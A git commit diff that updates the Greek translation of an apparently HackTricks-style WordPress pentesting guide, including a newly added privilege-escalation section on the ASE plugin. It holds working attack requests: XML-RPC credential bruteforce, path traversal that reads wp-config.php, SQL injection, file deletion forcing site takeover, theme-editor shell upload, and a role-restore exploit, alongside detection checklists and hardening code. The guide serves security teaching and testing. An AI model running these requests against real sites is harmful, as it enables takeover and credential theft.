Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-18 16:37:14 +00:00
parent 4aa2c5f9b0
commit 3b9366e774

View File

@ -9,7 +9,7 @@
- **Μια άλλη χρήσιμη διεύθυνση θα μπορούσε να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης της βάσης δεδομένων.
- Στο **wp-config.php** μπορείτε να βρείτε τον κωδικό πρόσβασης root της βάσης δεδομένων.
- Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Λάβετε Plugins
### Λάβετε Πρόσθετα
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -85,7 +85,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Χρήστες
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους αναγνωριστικούς χρήστες:
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους IDs χρηστών:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
@ -101,9 +101,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια ανάρτηση. **Μόνο πληροφορίες σχετικά με τους χρήστες που έχουν ενεργοποιήσει αυτή τη δυνατότητα θα παρέχονται**.
Επίσης, σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP.
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP.
- **Αναγνώριση ονομάτων χρηστών κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**.
- **Αναγνώριση ονόματος χρήστη κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**.
### XML-RPC
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Bruteforce Διαπιστευτήρια**
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να γίνει bruteforce διαπιστευτηρίων. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να κάνετε bruteforce διαπιστευτήρια. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -211,7 +211,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Αυτό το αρχείο συνήθως υπάρχει κάτω από τη ρίζα της ιστοσελίδας Wordpress: **`/wp-cron.php`**\
Όταν αυτό το αρχείο είναι **προσιτό**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα).
@ -229,7 +229,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Αυτό το εργαλείο ελέγχει αν το **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τα εκμεταλλευτεί.
Αυτό το εργαλείο ελέγχει αν η **methodName: pingback.ping** και για τη διαδρομή **/wp-json/oembed/1.0/proxy** και αν υπάρχει, προσπαθεί να τις εκμεταλλευτεί.
## Automatic Tools
```bash
@ -248,7 +248,7 @@ return new WP_Error(
**Τροποποίηση ενός php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια διαχειριστή)**
Εμφάνιση → Επεξεργαστής Θέματος → 404 Πρότυπο (στα δεξιά)
Εμφάνιση → Επεξεργαστής Θέματος → Πρότυπο 404 (στα δεξιά)
Αλλάξτε το περιεχόμενο για ένα php shell:
@ -313,7 +313,7 @@ to get a session.
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες ελέγξτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ είναι ένα script σχεδιασμένο να κλιμακώνει μια **Cross-Site Scripting (XSS)** ευπάθεια σε **Remote Code Execution (RCE)** ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες ελέγξτε [**αυτή την ανάρτηση**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Παρέχει **υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει να:**
- _**Privilege Escalation:**_ Δημιουργεί έναν χρήστη στο WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Μεταφορτώστε το προσαρμοσμένο plugin (backdoor) σας στο WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Επεξεργαστείτε ένα ενσωματωμένο plugin στο WordPress.
@ -348,11 +348,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμα και από μη αυθεντικοποιημένους).**
> [!CAUTION]
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση ελέγχει απλώς αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
- **REST API**
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας μια rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
Είναι επίσης δυνατό να εκθέσετε συναρτήσεις από το wordpress καταχωρώντας ένα rest AP χρησιμοποιώντας τη συνάρτηση `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -364,11 +364,11 @@ $this->namespace, '/get/', array(
```
Ο `permission_callback` είναι μια συνάρτηση callback που ελέγχει αν ένας συγκεκριμένος χρήστης είναι εξουσιοδοτημένος να καλέσει τη μέθοδο API.
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλώς θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.**
**Αν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση `__return_true`, απλά θα παραλείψει τον έλεγχο δικαιωμάτων χρήστη.**
- **Άμεση πρόσβαση στο αρχείο php**
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα στα plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλά με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
### Μη αυθεντικοποιημένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Θέμα Litho <= 3.0)
@ -413,12 +413,12 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
```
Γιατί το `wp-config.php` βρίσκεται εκτός *uploads*, τέσσερις ακολουθίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να εισέλθει στον *οδηγό εγκατάστασης* κατά την επόμενη επίσκεψη, επιτρέποντας μια πλήρη κατάληψη του ιστότοπου (ο επιτιθέμενος απλώς παρέχει μια νέα ρύθμιση DB και δημιουργεί έναν χρήστη διαχειριστή).
Άλλοι σημαντικοί στόχοι περιλαμβάνουν τα αρχεία `.php` των plugin/θέματος (για να σπάσουν τα plugins ασφαλείας) ή τους κανόνες `.htaccess`.
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία `.php` από πρόσθετα/θέματα (για να σπάσουν τα πρόσθετα ασφαλείας) ή κανόνες `.htaccess`.
#### Λίστα ελέγχου ανίχνευσης
* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθητικά προγράμματα συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Συγκόλληση μη απολυμασμένων εισόδων χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθούς συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Συγκέντρωση μη απολυμασμένων εισροών χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
* Απουσία `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
#### Σκληραγώγηση
@ -441,16 +441,80 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Πάντα** να θεωρείτε οποιαδήποτε λειτουργία εγγραφής/διαγραφής στο δίσκο ως προνομιακή και να ελέγχετε διπλά:
> **Πάντα** να θεωρείτε οποιαδήποτε λειτουργία εγγραφής/διαγραφής στον δίσκο ως προνομιακή και να ελέγχετε διπλά:
> • Αυθεντικοποίηση • Εξουσιοδότηση • Nonce • Καθαρισμός εισόδου • Περιορισμός διαδρομής (π.χ. μέσω `realpath()` συν `str_starts_with()`).
---
## Προστασία WordPress
### Κλιμάκωση προνομίων μέσω αποκατάστασης παλαιών ρόλων και έλλειψης εξουσιοδότησης (ASE "Δείτε τον Διαχειριστή ως Ρόλο")
### Τακτικές Ενημερώσεις
Πολλά πρόσθετα υλοποιούν μια δυνατότητα "θέαση ως ρόλος" ή προσωρινής αλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους στα μεταδεδομένα χρήστη ώστε να μπορούν να αποκατασταθούν αργότερα. Εάν η διαδρομή αποκατάστασης βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ., `$_REQUEST['reset-for']`) και σε μια λίστα που διατηρείται από το πρόσθετο χωρίς να ελέγχει τις ικανότητες και μια έγκυρη nonce, αυτό γίνεται κλιμάκωση προνομίων κάθετα.
Βεβαιωθείτε ότι το WordPress, τα πρόσθετα και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
Ένα πραγματικό παράδειγμα βρέθηκε στο πρόσθετο Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Ο κλάδος επαναφοράς αποκατέστησε ρόλους με βάση το `reset-for=<username>` εάν το όνομα χρήστη εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους ρόλους από τα μεταδεδομένα χρήστη `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Γιατί είναι εκμεταλλεύσιμο
- Εμπιστεύεται το `$_REQUEST['reset-for']` και μια επιλογή plugin χωρίς εξουσιοδότηση από τον server.
- Εάν ένας χρήστης είχε προηγουμένως αποθηκευμένα υψηλότερα δικαιώματα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα αποκαταστήσει πατώντας τη διαδρομή επαναφοράς.
- Σε ορισμένες αναπτύξεις, οποιοσδήποτε αυθεντικοποιημένος χρήστης θα μπορούσε να ενεργοποιήσει μια επαναφορά για άλλο όνομα χρήστη που είναι ακόμα παρόν στο `viewing_admin_as_role_are` (σπασμένη εξουσιοδότηση).
Προαπαιτούμενα επίθεσης
- Ευάλωτη έκδοση plugin με τη δυνατότητα ενεργοποιημένη.
- Ο στόχος λογαριασμού έχει αποθηκευμένο ένα παλιό ρόλο υψηλών προνομίων στο user meta από προηγούμενη χρήση.
- Οποιαδήποτε αυθεντικοποιημένη συνεδρία; απουσία nonce/ικανότητας στη ροή επαναφοράς.
Εκμετάλλευση (παράδειγμα)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Σε ευάλωτες εκδόσεις, αυτό αφαιρεί τους τρέχοντες ρόλους και επαναφέρει τους αποθηκευμένους αρχικούς ρόλους (π.χ., `administrator`), αυξάνοντας αποτελεσματικά τα δικαιώματα.
Λίστα ελέγχου ανίχνευσης
- Αναζητήστε δυνατότητες αλλαγής ρόλων που διατηρούν “αρχικούς ρόλους” στα μεταδεδομένα χρηστών (π.χ., `_asenha_view_admin_as_original_roles`).
- Εντοπίστε διαδρομές επαναφοράς/αποκατάστασης που:
- Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`.
- Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
- Εξουσιοδοτούν με βάση έναν πίνακα επιλογών plugin (π.χ., `viewing_admin_as_role_are`) αντί για τις ικανότητες του ηθοποιού.
Ενίσχυση
- Επιβάλλετε ελέγχους ικανοτήτων σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., `current_user_can('manage_options')` ή αυστηρότερα).
- Απαιτήστε nonces για όλες τις μετατροπές ρόλων/δικαιωμάτων και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`.
- Ποτέ μην εμπιστεύεστε τα ονόματα χρηστών που παρέχονται από το αίτημα; επιλύστε τον στόχο χρήστη από την πλευρά του διακομιστή με βάση τον αυθεντικοποιημένο ηθοποιό και την ρητή πολιτική.
- Ακυρώστε την κατάσταση “αρχικών ρόλων” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την παλαιά αποκατάσταση υψηλών δικαιωμάτων:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Σκεφτείτε να αποθηκεύετε ελάχιστη κατάσταση και να χρησιμοποιείτε περιορισμένα χρονικά, προστατευμένα από δυνατότητες tokens για προσωρινές αλλαγές ρόλου.
---
## WordPress Protection
### Regular Updates
Βεβαιωθείτε ότι το WordPress, τα plugins και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -474,7 +538,7 @@ add_filter( 'auto_update_theme', '__return_true' );
### Μη αυθεντική SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
Το πρόσθετο WP Job Portal αποκάλυψε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
Το πρόσθετο πρόσληψης WP Job Portal αποκάλυψε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -487,7 +551,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
Issues introduced by this snippet:
1. **Μη απολυμάνθηκε είσοδος χρήστη** `parentid` προέρχεται απευθείας από το HTTP αίτημα.
2. **Συγκέντρωση συμβολοσειρών μέσα στη ρήτρα WHERE** δεν υπάρχει `is_numeric()` / `esc_sql()` / προετοιμασμένη δήλωση.
2. **Συγκέντρωση συμβολοσειρών μέσα στη ρήτρα WHERE** καμία `is_numeric()` / `esc_sql()` / προετοιμασμένη δήλωση.
3. **Μη αυθεντικοποιημένη προσβασιμότητα** αν και η ενέργεια εκτελείται μέσω `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
#### Εκμετάλλευση
@ -509,7 +573,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
### Μη αυθεντικοποιημένη αυθαίρετη λήψη αρχείου / Διαδρομή Traversal (WP Job Portal <= 2.3.2)
Μια άλλη εργασία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω διαδρομής traversal. Η ευάλωτη πηγή βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
Μια άλλη εργασία, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω διαδρομής traversal. Ο ευάλωτος προορισμός βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
@ -526,11 +590,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Ο διακομιστής απαντά με το περιεχόμενο του `wp-config.php`, διαρρέοντας διαπιστευτήρια DB και κλειδιά αυθεντικοποίησης.
Ο διακομιστής απαντά με το περιεχόμενο του `wp-config.php`, leaking DB credentials και auth keys.
## Αναφορές
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
{{#include ../../banners/hacktricks-training.md}}